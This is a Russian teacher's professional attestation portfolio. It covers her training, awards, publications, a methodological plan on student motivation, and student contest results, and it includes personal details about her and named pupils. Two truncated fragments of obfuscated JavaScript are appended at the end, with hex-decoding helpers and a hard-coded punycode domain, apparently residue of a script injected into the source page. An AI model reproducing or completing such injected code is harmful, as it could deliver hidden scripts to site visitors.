|
Раздел 1. Общие сведения
Фамилия, имя, отчество Краус Надежда Васильевна
Дата рождения 09.11.1987
Место рождения Республика Казахстан, Восточно-Казахстанская область, город Семипалатинск
Место работы муниципальное бюджетное общеобразовательное учреждение «Ермаковская средняя общеобразовательная школа № 1»
Почтовый адрес общеобразовательного учреждения Красноярский край, Ермаковский район, село Ермаковское 662820, ул. Площадь Победы, 8
Название учебного заведения, период учебы: Семипалатинский государственный педагогический институт , Республика Казахстан, 2008-2012гг.
Специальность: бакалавр образования по специальности 050119-иностранные языки: два иностранных языка(английский язык)
Квалификация: не имею
Общий стаж педагогической работы 3 года
Стаж в данном общеобразовательном учреждении 3 года
|
Год
|
Дата и место обучения
|
Название курсов (согласно документу)
|
Количество часов (согласно документу)
|
Наименование и номер документа
|
|
2013
|
Краевое государственное бюджетное образовательное учреждение среднего профессионального образования «Минусинский педагогический колледж им. А.С. Пушкина», г. Минусинск , 25.11.2013
|
«Федеральные государственные стандарты начального общего образования: содержание и технология введения»
|
72
|
Удостоверение № ПК 0855.
|
|
2015-2016
|
В настоящее время являюсь участником дистанционных курсов повышения квалификации, организованных Педагогическим университетом «1 сентября»,
|
«Современные формы и методы обучения английскому языку детей младшего школьного возраста» ; «Психолого-педагогические приемы формирования коллектива и оптимизации межличностных отношений в классе»
|
72, 36
|
|
 
Сертификаты, свидетельства, грамоты, дипломы, подтверждающие участие в конференциях, семинарах и других мероприятиях
|
Год
Месяц
|
От кого
|
Наименование документа
|
За что
|
|
2012
|
Министерство образования и науки Красноярского края
|
Сертификат на получение денежной выплаты
|
За победу в конкурсном отборе на 99 денежных выплат педагогам в возрасте до 45 лет
|
|
2012
|
МБОУ «Ермаковская СОШ № 1»
|
Грамота
|
За участие в школьном этапе конкурса «Молодой учитель – нашей новой школе»
|
|
2013
|
МБОУ «Ермаковская СОШ № 1»
|
Грамота
|
За участие в школьном этапе конкурса «Молодой учитель – нашей новой школе»
|
|
2013
|
Управления образования администрации Ермаковского района
|
Грамота
|
За участие в районном этапе конкурса «Молодой учитель – образованию Ермаковского района»
|
|
2014
|
Управления образования администрации Ермаковского района
|
Грамота
|
За участие в районном этапе конкурса «Молодой учитель – образованию Ермаковского района»
|
|
2014
|
МБОУ «Ермаковская СОШ № 1»
|
Грамота
|
За участие в школьном этапе конкурса «Молодой учитель – нашей новой школе»
|
|
2014
|
МБОУ «Ермаковская СОШ № 1»
|
Грамота
|
За творческий подход в оформлении классной комнаты
|
|
2014
|
Управления образования администрации Ермаковского района
|
Благодарность
|
За качественную подготовку школьницы к районному конкурсу «Ученик года-2014»
|
|
2014
|
Управления образования администрации Ермаковского района
|
Почетная грамота
|
За творческое отношение к работе
|
|
2014
|
Управления образования администрации Ермаковского района
|
Сертификат
|
За качественную подготовку учащихся к Лихачевским чтениям
|
|
2014
|
Управления образования администрации Ермаковского района
|
Сертификат
|
За качественную подготовку учащихся на районную научно-практическую конференцию «Лихачевские чтения »
|
|
2014
|
Цент дополнительного образования «Снейл»
|
Грамота
|
За организацию и проведение Международного Конкурса-Игры по английскому языку «Лев»
|
|
2015
|
Муниципальное учреждение «Ермаковский информационно-методический центр»
|
Сертификат
|
За лучший урок, проведенный в рамках районного конкурса «Молодой учитель – образованию Ермаковского района»
|
|
2015
|
Управления образования администрации Ермаковского района
|
Диплом
|
За победу в районном конкурсе «Молодой учитель образованию Ермаковского района»,
|
          
Публикации
|
№
|
Тема (название),вид публикации, количество страниц
|
Уровень (образовательное учреждение, районный, региональный, федеральный, международный уровень)
|
Где напечатана
(наименование научно-методического издания, учреждения, осуществлявшего издание методической публикации
|
Год издания
|
|
1
|
«Мой путь в педагогическую профессию», файл, 2 страницы
|
Федеральный
|
http://multiurok.ru/nadya-kraus/
|
2015
|
|
2
|
Разработка открытого урока в 4 классе «Давай сравним разные вещи», файл , 4 страницы
|
Федеральный
|
http://multiurok.ru/nadya-kraus/
|
2015
|
|
3
|
Разработка урока в 7 классе «Обзор фильма», файл , 4 страницы
|
Федеральный
|
http://multiurok.ru/nadya-kraus/
|
2015
|
Раздел 2. Научно-методическая деятельность
План работы над методической темой : «Повышение мотивации познавательной деятельности на уроках английского языка» на 2013-2016 учебные годы.
Цель самообразования:
1. Расширение общепедагогических и психологических знаний с целью совершенствования методов и приёмов формирования учебной мотивации обучающихся.
2.Повышение своего теоретического, научно-методического уровня и профессионального мастерства.
4. Сбор материалов, накопленных учителями, с целью взаимообмена опытом и интернет – ресурсами.
5. Разработка приёмов стимуляции познавательного интереса.
Ожидаемые результаты повышение мотивации учащихся к обучению английского языка, формирование всесторонне развитой личности.
Направления деятельности:
1. Выбор темы и обоснование. Указывание целей и задач. Определение этапов работы.
2. Составление плана работы над темой.
3. Изучение методической и научной литературы, публикаций в журналах.
4. Работа в сетевых сообществах.
5.Составление списка литературы по теме самообразования.
6.Конспектирование статей научно-методической литературы.
7.Посещение уроков коллег с целью изучения опыта использования современных педагогических технологий в учебной деятельности.
8. Мониторинг педагогической деятельности (анализ результатов успеваемости учащихся, олимпиад, конкурсов).
9.Систематизация материалов по теме.
|
Этапы
|
Действия и мероприятия на 2013-2014 уч.год
|
Сроки реализации
|
|
диагностический
|
Изучение и подбор современной литературы по теме : «Повышение мотивации познавательной деятельности на уроках английского языка.»
Список литературы :
1. Абдрахманова А.С., Изакова А.Т. Проблема эффективности и результативности процесса обучения и их диагностика // Вестник НАПК, 2005, №2
2. Ильин Е.П. Мотивация и мотивы. — СПб.: Питер, 2006 Гальскова Н.Д. Современная методика обучения иностранным языкам. Аркти-Глосса,2000.
3. Колкер Я.М. Практическая методика обучения английскому языку. Учебное пособие. – Издательский центр «Академия», Москва, 2000.
4. Шошина М.Ю. Формирование познавательных мотивов на уроках иностранного языка, ИЯШ №8,2008.
5. Комарова, Э.П., Трегубова, Е.Н. эмоциональный фактор: понятие, роль и формы интеграции в целостном обучении иностранному языку// ИЯШ, № 6 2000
6. Лукьянчикова Н.В. Обучение иностранному языку на начальном этапе обучения. // — Начальная школа — 2001 — №11 — с.49-51
7. Новые педагогические и информационные технологии в системе образования» под редакцией Полат Е.С. М, Академия, 2000г.
8. Игры для интенсивного обучения / Под ред. В.В. Петрусинского. М.: Прометей, 1991.
Колесникова И.Е. Игры на уроке английского языка: пособие для учителя. [Текст] / И.Е. Колесникова – Минск: Народная Асвета. – 1990 – с.120
9. Арзамасцева, Н.И. Организация и использование игр при формировании у учащихся иноязычных грамматических навыков: учебно-методическое пособие / Н.И. Арзамасцева, О.А., Игнатова. – Йошкар-Ола: МГПИ им. Н.К. Крупской, 2007. – 28с.;
Работа с интернет ресурсами.
|
Сентябрь
Октябрь
Ноябрь
Декабрь
Январь
Февраль
Март
Апрель
Май
Июнь
|
|
прогностический
|
2014-2015 уч. год
1.Разработка комплекса тематических проектов по использованию различных метода на уроках английского языка для развития учебной мотивации учащихся.
2.Разработка приёмов для совершенствования традиционного урока.
3.Разработка рекомендаций по использованию игры, как метода стимулирования учебной мотивации.
4.Проведение предметных недель, викторин.
5. Участие в работе школьного МО.
6.Посещение уроков коллег и участие в обмене опыта по теме самообразования.
7.Участие в олимпиадах, конкурсах.
8.Разработка пакета тестового материала.
9.Переодический самоанализ профессиональной деятельности.
10.Выступление на МО.
11.Работа над обобщением опыта работы по своей теме.
|
Сентябрь
Октябрь
Ноябрь
Декабрь
В течение года
Январь, февраль.
В течение года
Март
За полугодие
Апрель
Май
|
|
практический
|
2015-2016 уч.год.
1.Проведение предметных недель, праздников.
2.Проведение открытых уроков.
3. Участие в олимпиадах, конкурсах.
4.Участие в работе школьного и районного МО.
5. Самоанализ педагогической деятельности по формированию мотивации учащихся.
6.Разработка приёмов стимуляции познавательного интереса.
7.Выступление на педагогическом совете по теме: « Повышение мотивации учащихся на уроках».
|
В течение года
|
Используемые технологии
- Технология личностно-ориентированного обучения;
- Игровая технология;
- Педагогика сотрудничества;
- Информационно-коммуникационные технология.
- Технология современного проектного обучения
Раздел 3. Внеурочная деятельность по предмету
|
Мероприятие
|
Дата
|
Форма участие
|
Результат
|
|
«Хэллоуин», 5 класс; Неделя английского языка в школе (организация и проведение);
|
2014
|
КВН по английскому языку среди
5–х. классов
|
1 место 5класс А
2 место 5 класс Б
3 место- 5 класс В
|
|
«День Открытых Дверей», посвященный 15-летию нового здания школы
|
2015
|
Представление
|
Участие
|
|
Смешные истории на английском языке
|
2015
|
Представление
|
Участие
|
Мониторинг внутренней (школьной) и внешней оценки (районной, краевой) по преподаваемому предмету аттестуемого работника
|
Учебный год
|
Предмет
|
Численность обучающихся
(в динамике), результаты внутренней оценки в % (указать форму)
|
Численность обучающихся
(в динамике), результаты внешней оценки в % (указать форму)
|
Численность обучающихся - призеров олимпиад районного, краевого, российского уровня по предмету
|
Численность обучающихся - призеров проектно-исследовательской деятельности районного, краевого, российского уровня по предмету
|
|
2012-2013
|
Английский язык
|
22 человека,
68 % (промежуточная аттестация)
|
1 человек ,
0 % (государственная итоговая аттестаци
|
Парницкий Дмитрий –по английскому языку среди учащихся 8-х классов победитель муниципального этапа всероссийской олимпиады школьников
Гречушкина Ксения 1ое место в школе в игровом конкурсе по английскому языку «British Bulldog VIII»
15 % грамоты за участие
|
Шерстобаева Карина, Лазарев Евгений ученики 6 класса А- «Герой нашего времени», сертификаты участников;
|
|
2013-2014
|
|
|
|
Парницкий Дмитрий- 1ое место в районе в игровом конкурсе по английскому языку «British Bulldog IX»
Парницкий Дмитрий победитель муниципального этапа всероссийской олимпиады школьников по английскому языку среди учащихся 9-х классов ,
22 % грамоты за участие
|
Никулина Диана, ученица 7 класса А-«Трудности перевода английских песен», сертификат участника;
|
|
2014-2015
|
Английский язык
|
104 человека,
30% (промежуточная аттестация)
|
|
Парницкий Дмитрий –почетная грамота за особые успехи в изучении английского языка
Рукавишникова Алина -3 место в районе в игровом конкурсе по английскому языку «British Bulldog VIII»
Добросоцкий Сергей 3 место в районе в игровом конкурсе
по английскому языку «British Bulldog VI»
36 % грамот за участие
|
Дедюхина Кристина, ученица 8 класса А-«Сравнение праздников Великобритании и России», сертификат участника;
Крастина Александра, ученица 6 класса А-«Говорящая одежда», сертификат участника
|
       
// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "xn---1-mlc0bo7b.xn--p1ai"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e
// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "xn---1-mlc0bo7b.xn--p1ai"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e
|
